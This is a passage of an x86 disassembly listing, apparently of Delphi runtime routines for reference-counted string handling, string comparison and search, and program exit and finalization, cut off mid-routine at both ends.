setz bl cmp edi, ebp jle short loc_402407 loc_4023D4: ; CODE XREF: sub_4023B8+4Dj mov eax, [esi+ebp*8] inc ebp mov ds:dword_40A5B8, ebp test eax, eax jz short loc_4023E4 call eax loc_4023E4: ; CODE XREF: sub_4023B8+28j test bl, bl jz short loc_402403 mov eax, offset sub_4023B8 cmp eax, ds:off_409034 jz short loc_402403 mov ecx, edi mov edx, ebp mov eax, esi call ds:off_409034 jmp short loc_402407 ; --------------------------------------------------------------------------- loc_402403: ; CODE XREF: sub_4023B8+2Ej ; sub_4023B8+3Bj cmp edi, ebp jg short loc_4023D4 loc_402407: ; CODE XREF: sub_4023B8+1Aj ; sub_4023B8+49j pop ebp pop edi pop esi pop ebx retn sub_4023B8 endp ; =============== S U B R O U T I N E ======================================= sub_40240C proc near ; CODE XREF: sub_402428+35p mov eax, ds:dword_40A5B4 test eax, eax jz short locret_402424 mov edx, [eax] xor ecx, ecx mov eax, [eax+4] xchg ecx, edx call ds:off_409034 locret_402424: ; CODE XREF: sub_40240C+7j retn sub_40240C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402428 proc near ; CODE XREF: sub_403524+3Ap mov ds:dword_40A014, offset loc_4010E8 mov ds:dword_40A018, offset loc_4010F8 mov ds:dword_40A5B4, eax xor eax, eax mov ds:dword_40A5B8, eax mov ds:dword_40A5BC, edx mov eax, [edx+4] mov ds:dword_40A02C, eax mov ds:byte_40A034, 0 call sub_40240C retn sub_402428 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402464 proc near ; CODE XREF: sub_406D18+1Fp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_402470: ; CODE XREF: sub_402464+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_4033B0 add esi, 8 dec edi jnz short loc_402470 pop esi pop edi pop ebx retn sub_402464 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40248C proc near ; CODE XREF: sub_406D18+29p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_402498: ; CODE XREF: sub_40248C+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_402498 pop esi pop edi pop ebx retn sub_40248C endp ; =============== S U B R O U T I N E ======================================= sub_4024B0 proc near ; CODE XREF: sub_4024E0+96p xor eax, eax xchg eax, ds:dword_409000 neg eax sbb eax, eax inc eax mov edi, offset dword_40A5AC mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_4024B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4024E0 proc near ; CODE XREF: sub_4025B0+5p ; CODE:00407FDCp push ebx push esi push edi push ebp mov ebx, offset dword_40A5AC mov esi, offset dword_409000 mov edi, offset dword_40A038 cmp byte ptr [ebx+28h], 0 jnz short loc_40250F cmp dword ptr [edi], 0 jz short loc_40250F loc_4024FE: ; CODE XREF: sub_4024E0+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_4024FE loc_40250F: ; CODE XREF: sub_4024E0+17j ; sub_4024E0+1Cj cmp ds:dword_409004, 0 jz short loc_40251E call ds:off_409090 loc_40251E: ; CODE XREF: sub_4024E0+36j ; sub_4024E0+C6j cmp byte ptr [ebx+28h], 2 jnz short loc_40252E cmp dword ptr [esi], 0 jnz short loc_40252E xor eax, eax mov [ebx+0Ch], eax loc_40252E: ; CODE XREF: sub_4024E0+42j ; sub_4024E0+47j call ds:off_409038 cmp byte ptr [ebx+28h], 1 jbe short loc_40253F cmp dword ptr [esi], 0 jz short loc_402561 loc_40253F: ; CODE XREF: sub_4024E0+58j mov eax, [ebx+10h] test eax, eax jz short loc_402561 call ds:off_409028 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_402561 test eax, eax jz short loc_402561 push eax ; hLibModule call FreeLibrary loc_402561: ; CODE XREF: sub_4024E0+5Dj ; sub_4024E0+64j ... call ds:off_40903C cmp byte ptr [ebx+28h], 1 jnz short loc_402570 call dword ptr [ebx+24h] loc_402570: ; CODE XREF: sub_4024E0+8Bj cmp byte ptr [ebx+28h], 0 jz short loc_40257B call sub_4024B0 loc_40257B: ; CODE XREF: sub_4024E0+94j cmp dword ptr [ebx], 0 jnz short loc_402597 cmp ds:dword_40A024, 0 jz short loc_40258F call ds:dword_40A024 loc_40258F: ; CODE XREF: sub_4024E0+A7j mov eax, [esi] push eax ; uExitCode call ExitProcess ; --------------------------------------------------------------------------- loc_402597: ; CODE XREF: sub_4024E0+9Ej mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_40251E sub_4024E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4025B0 proc near ; CODE XREF: sub_401280+6p ; sub_4025BC+6j ... mov ds:dword_409000, eax call sub_4024E0 sub_4025B0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4025BC proc near ; CODE XREF: sub_402308+9p ; sub_403494+1Ap ... pop ds:dword_409004 jmp sub_4025B0 sub_4025BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4025C8 proc near ; CODE XREF: sub_40148C+Fp ; sub_4026B4+23p ... mov edx, [eax] test edx, edx jz short locret_4025E9 mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_4025E9 dec dword ptr [edx-8] jnz short locret_4025E9 push eax lea eax, [edx-8] call sub_401218 pop eax locret_4025E9: ; CODE XREF: sub_4025C8+4j ; sub_4025C8+10j ... retn sub_4025C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4025EC proc near ; CODE XREF: sub_402C70+56p ; sub_4051EC+10Dp ... push ebx push esi mov ebx, eax mov esi, edx loc_4025F2: ; CODE XREF: sub_4025EC+29j mov edx, [ebx] test edx, edx jz short loc_402611 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_402611 dec dword ptr [edx-8] jnz short loc_402611 lea eax, [edx-8] call sub_401218 loc_402611: ; CODE XREF: sub_4025EC+Aj ; sub_4025EC+16j ... add ebx, 4 dec esi jnz short loc_4025F2 pop esi pop ebx retn sub_4025EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40261C proc near ; CODE XREF: sub_402848+8j ; sub_40288C+6j ... test edx, edx jz short loc_402643 mov ecx, [edx-8] inc ecx jg short loc_402640 push eax push edx mov eax, [edx-4] call sub_402688 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_401340 pop edx pop eax jmp short loc_402643 ; --------------------------------------------------------------------------- loc_402640: ; CODE XREF: sub_40261C+8j inc dword ptr [edx-8] loc_402643: ; CODE XREF: sub_40261C+2j ; sub_40261C+22j xchg edx, [eax] test edx, edx jz short locret_40265C mov ecx, [edx-8] dec ecx jl short locret_40265C dec dword ptr [edx-8] jnz short locret_40265C lea eax, [edx-8] call sub_401218 locret_40265C: ; CODE XREF: sub_40261C+2Bj ; sub_40261C+31j ... retn sub_40261C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402660 proc near ; CODE XREF: sub_405B74+2Ep ; sub_4064C4+1EDp ... test edx, edx jz short loc_40266D mov ecx, [edx-8] inc ecx jle short loc_40266D inc dword ptr [edx-8] loc_40266D: ; CODE XREF: sub_402660+2j ; sub_402660+8j xchg edx, [eax] test edx, edx jz short locret_402686 mov ecx, [edx-8] dec ecx jl short locret_402686 dec dword ptr [edx-8] jnz short locret_402686 lea eax, [edx-8] call sub_401218 locret_402686: ; CODE XREF: sub_402660+11j ; sub_402660+17j ... retn sub_402660 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402688 proc near ; CODE XREF: sub_40261C+Fp ; sub_4026B4+Bp ... test eax, eax jle short loc_4026B0 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_401200 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_4026B0: ; CODE XREF: sub_402688+2j xor eax, eax retn sub_402688 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4026B4 proc near ; CODE XREF: sub_40148C+2Fp ; CODE:0040274Ep ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_402688 mov ecx, edi mov edi, eax test esi, esi jz short loc_4026D5 mov edx, eax mov eax, esi call sub_401340 loc_4026D5: ; CODE XREF: sub_4026B4+16j mov eax, ebx call sub_4025C8 mov [ebx], edi pop edi pop esi pop ebx retn sub_4026B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4026E4(LPCWSTR lpWideCharStr,int cbMultiByte,int cchWideChar) sub_4026E4 proc near ; CODE XREF: CODE:0040273Bp ; CODE:0040276Bp cchWideChar = dword ptr 8 push ebp mov ebp, esp push 0 ; lpUsedDefaultChar push 0 ; lpDefaultChar push edx ; cbMultiByte push eax ; lpMultiByteStr mov eax, [ebp+cchWideChar] push eax ; cchWideChar push ecx ; lpWideCharStr push 0 ; dwFlags push 0 ; CodePage call WideCharToMultiByte pop ebp retn 4 sub_4026E4 endp ; --------------------------------------------------------------------------- align 10h loc_402700: ; CODE XREF: CODE:loc_4027FFj ; CODE:loc_402837j push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp], edx mov edi, eax test esi, esi jg short loc_402722 mov eax, edi call sub_4025C8 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_402722: ; CODE XREF: CODE:00402717j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_402755 push esi lea eax, [esp+8] mov ecx, [esp+4] mov edx, 0FFFh call sub_4026E4 mov ebx, eax test ebx, ebx jl short loc_402755 lea edx, [esp+4] mov eax, edi mov ecx, ebx call sub_4026B4 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_402755: ; CODE XREF: CODE:0040272Bj ; CODE:00402744j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_402BC0 push esi mov eax, [edi] mov ecx, [esp+4] mov edx, ebx call sub_4026E4 mov ebx, eax test ebx, ebx jge short loc_402778 xor ebx, ebx loc_402778: ; CODE XREF: CODE:00402774j mov eax, edi mov edx, ebx call sub_402BC0 loc_402781: ; CODE XREF: CODE:00402720j ; CODE:00402753j add esp, 1004h pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_40278C proc near ; CODE XREF: sub_405474+8Dp ; sub_405474+190p ... push edx mov edx, esp mov ecx, 1 call sub_4026B4 pop edx retn sub_40278C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40279C proc near ; CODE XREF: sub_4033B0+48p ; CalInfoEnumProc+28p ... xor ecx, ecx test edx, edx jz short loc_4027C3 push edx loc_4027A3: ; CODE XREF: sub_40279C+1Dj cmp cl, [edx] jz short loc_4027BE cmp cl, [edx+1] jz short loc_4027BD cmp cl, [edx+2] jz short loc_4027BC cmp cl, [edx+3] jz short loc_4027BB add edx, 4 jmp short loc_4027A3 ; --------------------------------------------------------------------------- loc_4027BB: ; CODE XREF: sub_40279C+18j inc edx loc_4027BC: ; CODE XREF: sub_40279C+13j inc edx loc_4027BD: ; CODE XREF: sub_40279C+Ej inc edx loc_4027BE: ; CODE XREF: sub_40279C+9j mov ecx, edx pop edx sub ecx, edx loc_4027C3: ; CODE XREF: sub_40279C+4j jmp sub_4026B4 sub_40279C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_4027CC: ; DATA XREF: sub_4047F6:loc_4049C6o xor ecx, ecx test edx, edx jz short loc_4027FF push edx loc_4027D3: ; CODE XREF: CODE:004027EDj cmp cx, [edx] jz short loc_4027F8 cmp cx, [edx+2] jz short loc_4027F5 cmp cx, [edx+4] jz short loc_4027F2 cmp cx, [edx+6] jz short loc_4027EF add edx, 8 jmp short loc_4027D3 ; --------------------------------------------------------------------------- loc_4027EF: ; CODE XREF: CODE:004027E8j add edx, 2 loc_4027F2: ; CODE XREF: CODE:004027E2j add edx, 2 loc_4027F5: ; CODE XREF: CODE:004027DCj add edx, 2 loc_4027F8: ; CODE XREF: CODE:004027D6j mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_4027FF: ; CODE XREF: CODE:004027D0j jmp loc_402700 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402808 proc near ; CODE XREF: sub_407720+28p xor ecx, ecx mov cl, [edx] inc edx jmp sub_4026B4 sub_402808 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402814 proc near ; CODE XREF: sub_405CFC+BBp ; sub_406094+49p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_402821 not ecx loc_402821: ; CODE XREF: sub_402814+9j pop eax add ecx, eax pop eax pop edi jmp sub_4026B4 sub_402814 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40282C: ; DATA XREF: sub_4047F6:loc_4049CDo xor ecx, ecx test edx, edx jz short loc_402837 mov ecx, [edx-4] shr ecx, 1 loc_402837: ; CODE XREF: CODE:00402830j jmp loc_402700 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402840 proc near ; CODE XREF: sub_401780+3Ep ; sub_401780+56p ... test eax, eax jz short locret_402847 mov eax, [eax-4] locret_402847: ; CODE XREF: sub_402840+2j retn sub_402840 endp ; =============== S U B R O U T I N E ======================================= sub_402848 proc near ; CODE XREF: sub_40288C+1Dj ; sub_40288C+6Ej ... test edx, edx jz short locret_40288B mov ecx, [eax] test ecx, ecx jz sub_40261C push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_402880 call sub_402BC0 mov eax, esi mov ecx, [esi-4] loc_402873: ; CODE XREF: sub_402848+41j mov edx, [ebx] add edx, edi call sub_401340 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_402880: ; CODE XREF: sub_402848+1Fj call sub_402BC0 mov eax, [ebx] mov ecx, edi jmp short loc_402873 ; --------------------------------------------------------------------------- locret_40288B: ; CODE XREF: sub_402848+2j retn sub_402848 endp ; =============== S U B R O U T I N E ======================================= sub_40288C proc near ; CODE XREF: CODE:00407C9Ep test edx, edx jz short loc_4028F1 test ecx, ecx jz sub_40261C cmp edx, [eax] jz short loc_4028F8 cmp ecx, [eax] jz short loc_4028AE push eax push ecx call sub_40261C pop edx pop eax jmp sub_402848 ; --------------------------------------------------------------------------- loc_4028AE: ; CODE XREF: sub_40288C+12j push ebx push esi push edi mov ebx, edx mov esi, ecx push eax mov eax, [ebx-4] add eax, [esi-4] call sub_402688 mov edi, eax mov edx, eax mov eax, ebx mov ecx, [ebx-4] call sub_401340 mov edx, edi mov eax, esi mov ecx, [esi-4] add edx, [ebx-4] call sub_401340 pop eax mov edx, edi test edi, edi jz short loc_4028E8 dec dword ptr [edi-8] loc_4028E8: ; CODE XREF: sub_40288C+57j call sub_40261C pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_40288C+2j mov edx, ecx jmp sub_40261C ; --------------------------------------------------------------------------- loc_4028F8: ; CODE XREF: sub_40288C+Ej mov edx, ecx jmp sub_402848 sub_40288C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402900 proc near ; CODE XREF: sub_4064C4+27Bp ; sub_4064C4+298p ... push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_402917 cmp [eax], ecx jnz short loc_402917 mov edi, eax loc_402917: ; CODE XREF: sub_402900+Fj ; sub_402900+13j xor eax, eax loc_402919: ; CODE XREF: sub_402900+2Bj mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_40292A add eax, [ecx-4] cmp edi, ecx jnz short loc_40292A xor edi, edi loc_40292A: ; CODE XREF: sub_402900+1Fj ; sub_402900+26j dec edx jnz short loc_402919 test edi, edi jz short loc_402945 mov edx, eax mov eax, edi mov esi, [edi] mov esi, [esi-4] call sub_402BC0 push edi add esi, [edi] dec ebx jmp short loc_40294D ; --------------------------------------------------------------------------- loc_402945: ; CODE XREF: sub_402900+2Fj call sub_402688 push eax mov esi, eax loc_40294D: ; CODE XREF: sub_402900+43j ; sub_402900+62j mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_402961 mov ecx, [eax-4] add esi, ecx call sub_401340 loc_402961: ; CODE XREF: sub_402900+55j dec ebx jnz short loc_40294D pop edx pop eax test edi, edi jnz short loc_402976 test edx, edx jz short loc_402971 dec dword ptr [edx-8] loc_402971: ; CODE XREF: sub_402900+6Cj call sub_40261C loc_402976: ; CODE XREF: sub_402900+68j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_402900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402984 proc near ; CODE XREF: CODE:00407F53p push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_402A22 test esi, esi jz short loc_4029FF test edi, edi jz short loc_402A06 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_4029A7 add edx, eax loc_4029A7: ; CODE XREF: sub_402984+1Fj push edx shr edx, 2 jz short loc_4029D3 loc_4029AD: ; CODE XREF: sub_402984+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_402A0D dec edx jz short loc_4029CD mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_402A0D add esi, 8 add edi, 8 dec edx jnz short loc_4029AD jmp short loc_4029D3 ; --------------------------------------------------------------------------- loc_4029CD: ; CODE XREF: sub_402984+32j add esi, 4 add edi, 4 loc_4029D3: ; CODE XREF: sub_402984+27j ; sub_402984+47j pop edx and edx, 3 jz short loc_4029FB mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_402A22 dec edx jz short loc_4029FB cmp ch, bh jnz short loc_402A22 dec edx jz short loc_4029FB and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_402A22 loc_4029FB: ; CODE XREF: sub_402984+53j ; sub_402984+5Ej ... add eax, eax jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_4029FF: ; CODE XREF: sub_402984+11j mov edx, [edi-4] sub eax, edx jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_402A06: ; CODE XREF: sub_402984+15j mov eax, [esi-4] sub eax, edx jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_402A0D: ; CODE XREF: sub_402984+2Fj ; sub_402984+3Cj pop edx cmp cl, bl jnz short loc_402A22 cmp ch, bh jnz short loc_402A22 shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_402A22 cmp ch, bh loc_402A22: ; CODE XREF: sub_402984+9j ; sub_402984+5Bj ... pop edi pop esi pop ebx retn sub_402984 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A28 proc near ; CODE XREF: sub_406DAC+Fp ; sub_406E6C+14p ... test eax, eax jz short locret_402A35 mov edx, [eax-8] inc edx jle short locret_402A35 inc dword ptr [eax-8] locret_402A35: ; CODE XREF: sub_402A28+2j ; sub_402A28+8j retn sub_402A28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A38 proc near ; CODE XREF: sub_401780+46p ; sub_404420+15p ... test eax, eax jz short loc_402A3E retn ; --------------------------------------------------------------------------- byte_402A3D db 0 ; DATA XREF: sub_402A38:loc_402A3Eo ; --------------------------------------------------------------------------- loc_402A3E: ; CODE XREF: sub_402A38+2j mov eax, offset byte_402A3D retn sub_402A38 endp ; =============== S U B R O U T I N E ======================================= sub_402A44 proc near ; CODE XREF: sub_402A84j sub_402A8Cj mov edx, [eax] test edx, edx jz short loc_402A81 mov ecx, [edx-8] dec ecx jz short loc_402A81 push ebx mov ebx, eax mov eax, [edx-4] call sub_402688 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_401340 pop eax mov ecx, [eax-8] dec ecx jl short loc_402A7E dec dword ptr [eax-8] jnz short loc_402A7E lea eax, [eax-8] call sub_401218 loc_402A7E: ; CODE XREF: sub_402A44+2Bj ; sub_402A44+30j mov edx, [ebx] pop ebx loc_402A81: ; CODE XREF: sub_402A44+4j ; sub_402A44+Aj mov eax, edx retn sub_402A44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A84 proc near ; CODE XREF: sub_402AD4+9p jmp sub_402A44 sub_402A84 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A8C proc near ; CODE XREF: sub_406DAC+34p ; sub_406DAC+67p ... jmp sub_402A44 sub_402A8C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A94 proc near ; CODE XREF: sub_4044E8+20p ; sub_405474+E4p arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_402AC6 mov ebx, [eax-4] test ebx, ebx jz short loc_402AC6 dec edx jl short loc_402ABE cmp edx, ebx jge short loc_402AC6 loc_402AA7: ; CODE XREF: sub_402A94+2Cj sub ebx, edx test ecx, ecx jl short loc_402AC6 cmp ecx, ebx jg short loc_402AC2 loc_402AB1: ; CODE XREF: sub_402A94+30j add edx, eax mov eax, [esp+4+arg_0] call sub_4026B4 jmp short loc_402ACF ; --------------------------------------------------------------------------- loc_402ABE: ; CODE XREF: sub_402A94+Dj xor edx, edx jmp short loc_402AA7 ; --------------------------------------------------------------------------- loc_402AC2: ; CODE XREF: sub_402A94+1Bj mov ecx, ebx jmp short loc_402AB1 ; --------------------------------------------------------------------------- loc_402AC6: ; CODE XREF: sub_402A94+3j ; sub_402A94+Aj ... mov eax, [esp+4+arg_0] call sub_4025C8 loc_402ACF: ; CODE XREF: sub_402A94+28j pop ebx retn 4 sub_402A94 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402AD4 proc near ; CODE XREF: sub_407A14+54p push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx call sub_402A84 mov edx, [ebx] test edx, edx jz short loc_402B18 mov ecx, [edx-4] dec esi jl short loc_402B18 cmp esi, ecx jge short loc_402B18 test edi, edi jle short loc_402B18 sub ecx, esi cmp edi, ecx jle short loc_402AFE mov edi, ecx loc_402AFE: ; CODE XREF: sub_402AD4+26j sub ecx, edi add edx, esi lea eax, [edi+edx] call sub_401340 mov edx, [ebx] mov eax, ebx mov edx, [edx-4] sub edx, edi call sub_402BC0 loc_402B18: ; CODE XREF: sub_402AD4+12j ; sub_402AD4+18j ... pop edi pop esi pop ebx retn sub_402AD4 endp ; =============== S U B R O U T I N E ======================================= sub_402B1C proc near ; CODE XREF: sub_407A14+61p test eax, eax jz short locret_402B76 push ebx push esi push edi push ebp mov ebx, eax mov esi, edx mov edi, ecx mov edx, [edx] push edx test edx, edx jz short loc_402B34 mov edx, [edx-4] loc_402B34: ; CODE XREF: sub_402B1C+13j dec edi jge short loc_402B39 xor edi, edi loc_402B39: ; CODE XREF: sub_402B1C+19j cmp edi, edx jle short loc_402B3F mov edi, edx loc_402B3F: ; CODE XREF: sub_402B1C+1Fj mov ebp, [ebx-4] mov eax, esi add edx, ebp call sub_402BC0 pop eax cmp eax, ebx jnz short loc_402B52 mov ebx, [esi] loc_402B52: ; CODE XREF: sub_402B1C+32j mov eax, [esi] lea edx, [edi+ebp] mov ecx, [eax-4] sub ecx, edx add edx, eax add eax, edi call sub_401340 mov eax, ebx mov edx, [esi] mov ecx, ebp add edx, edi call sub_401340 pop ebp pop edi pop esi pop ebx locret_402B76: ; CODE XREF: sub_402B1C+2j retn sub_402B1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402B78 proc near ; CODE XREF: sub_407A14+3Ep ; sub_407A14+6Cp test eax, eax jz short locret_402BBC test edx, edx jz short loc_402BB1 push ebx push esi push edi mov esi, eax mov edi, edx mov ecx, [edi-4] push edi mov edx, [esi-4] dec edx js short loc_402BAC mov al, [esi] inc esi sub ecx, edx jle short loc_402BAC loc_402B98: ; CODE XREF: sub_402B78+32j repne scasb jnz short loc_402BAC mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi jz short loc_402BB4 mov ecx, ebx jmp short loc_402B98 ; --------------------------------------------------------------------------- loc_402BAC: ; CODE XREF: sub_402B78+17j ; sub_402B78+1Ej ... pop edx xor eax, eax jmp short loc_402BB9 ; --------------------------------------------------------------------------- loc_402BB1: ; CODE XREF: sub_402B78+6j xor eax, eax retn ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402B78+2Ej pop edx mov eax, edi sub eax, edx loc_402BB9: ; CODE XREF: sub_402B78+37j pop edi pop esi pop ebx locret_402BBC: ; CODE XREF: sub_402B78+2j retn sub_402B78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402BC0 proc near ; CODE XREF: sub_4013A0+7Fp ; CODE:0040275Dp ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_402C15 mov eax, [ebx] test eax, eax jz short loc_402BF6 cmp dword ptr [eax-8], 1 jnz short loc_402BF6 sub eax, 8 add edx, 9 push eax mov eax, esp call sub_401230 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_402C1E ; --------------------------------------------------------------------------- loc_402BF6: ; CODE XREF: sub_402BC0+11j ; sub_402BC0+17j mov eax, edx call sub_402688 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_402C15 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_402C10 mov ecx, esi loc_402C10: ; CODE XREF: sub_402BC0+4Cj call sub_401340 loc_402C15: ; CODE XREF: sub_402BC0+Bj ; sub_402BC0+43j mov eax, ebx call sub_4025C8 mov [ebx], edi loc_402C1E: ; CODE XREF: sub_402BC0+34j pop edi pop esi pop ebx retn sub_402BC0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402C24 proc near ; CODE XREF: sub_406B98+158p mov edx, [eax] test edx, edx jz short locret_402C38 mov dword ptr [eax], 0 push eax push edx ; bstrString call SysFreeString pop eax locret_402C38: ; CODE XREF: sub_402C24+4j retn sub_402C24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402C3C proc near ; CODE XREF: sub_401FB4+12p ; sub_402C70+B1p xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_402C4E: ; CODE XREF: sub_402C3C+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_402C70 add esi, 8 dec edi jg short loc_402C4E mov eax, ebx pop edi pop esi pop ebx retn sub_402C3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402C70 proc near ; CODE XREF: sub_402C3C+20p ; sub_402C70+9Bp ... cmp ecx, 0 jz locret_402D5B push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_402CB3 cmp al, 0Bh jz short loc_402CD0 cmp al, 0Ch jz short loc_402CE9 cmp al, 0Dh jz short loc_402CF8 cmp al, 0Eh jz short loc_402D16 cmp al, 0Fh jz loc_402D2C cmp al, 11h jz loc_402D3B jmp loc_402D4C ; --------------------------------------------------------------------------- loc_402CB3: ; CODE XREF: sub_402C70+1Cj cmp ecx, 1 mov eax, ebx jg short loc_402CC4 call sub_4025C8 jmp loc_402D57 ; --------------------------------------------------------------------------- loc_402CC4: ; CODE XREF: sub_402C70+48j mov edx, ecx call sub_4025EC jmp loc_402D57 ; --------------------------------------------------------------------------- loc_402CD0: ; CODE XREF: sub_402C70+20j cmp ecx, 1 mov eax, ebx jg short loc_402CDF call ds:off_40902C jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CDF: ; CODE XREF: sub_402C70+65j mov edx, ecx call ds:off_409030 jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CE9: ; CODE XREF: sub_402C70+24j ; sub_402C70+84j mov eax, ebx add ebx, 10h call sub_402DB0 dec edi jg short loc_402CE9 jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CF8: 